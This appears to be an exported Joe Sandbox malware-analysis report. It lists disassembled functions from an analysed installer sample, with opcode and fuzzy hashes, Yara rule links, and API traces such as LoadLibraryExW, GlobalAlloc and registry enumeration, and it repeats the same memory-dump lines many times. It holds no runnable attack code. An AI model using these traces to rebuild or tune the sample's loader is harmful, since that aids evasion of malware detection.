String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction ID: a230b304c224a04ada09734fd21535f6fc799ebba56fb899572f26a9c12bfdf8
Opcode Fuzzy Hash: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction Fuzzy Hash: B3D0A92221693131D562362A3D02FCF080C8F0A719F12C03BF805B60C2CB6C0A8208FE

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction ID: a11216cf4d9ed69530e7a3120e2c7e0776abe0d849fb671ec08c4598754a23ed
Opcode Fuzzy Hash: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction Fuzzy Hash: 2821B671904215F6CF206F95CE48ADE7AB4AB04358F70417BF611B51E0C7B98D81DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction ID: 0e9c0b35001f1033de5fa53c21d3cf865b558ccbe2596cbe26b498a02803ad8f
Opcode Fuzzy Hash: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction Fuzzy Hash: 32219CB2600504A7CB10EB94DE85D6EB3A4EF44318B20443BF101B72E1D77C98458F5D

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
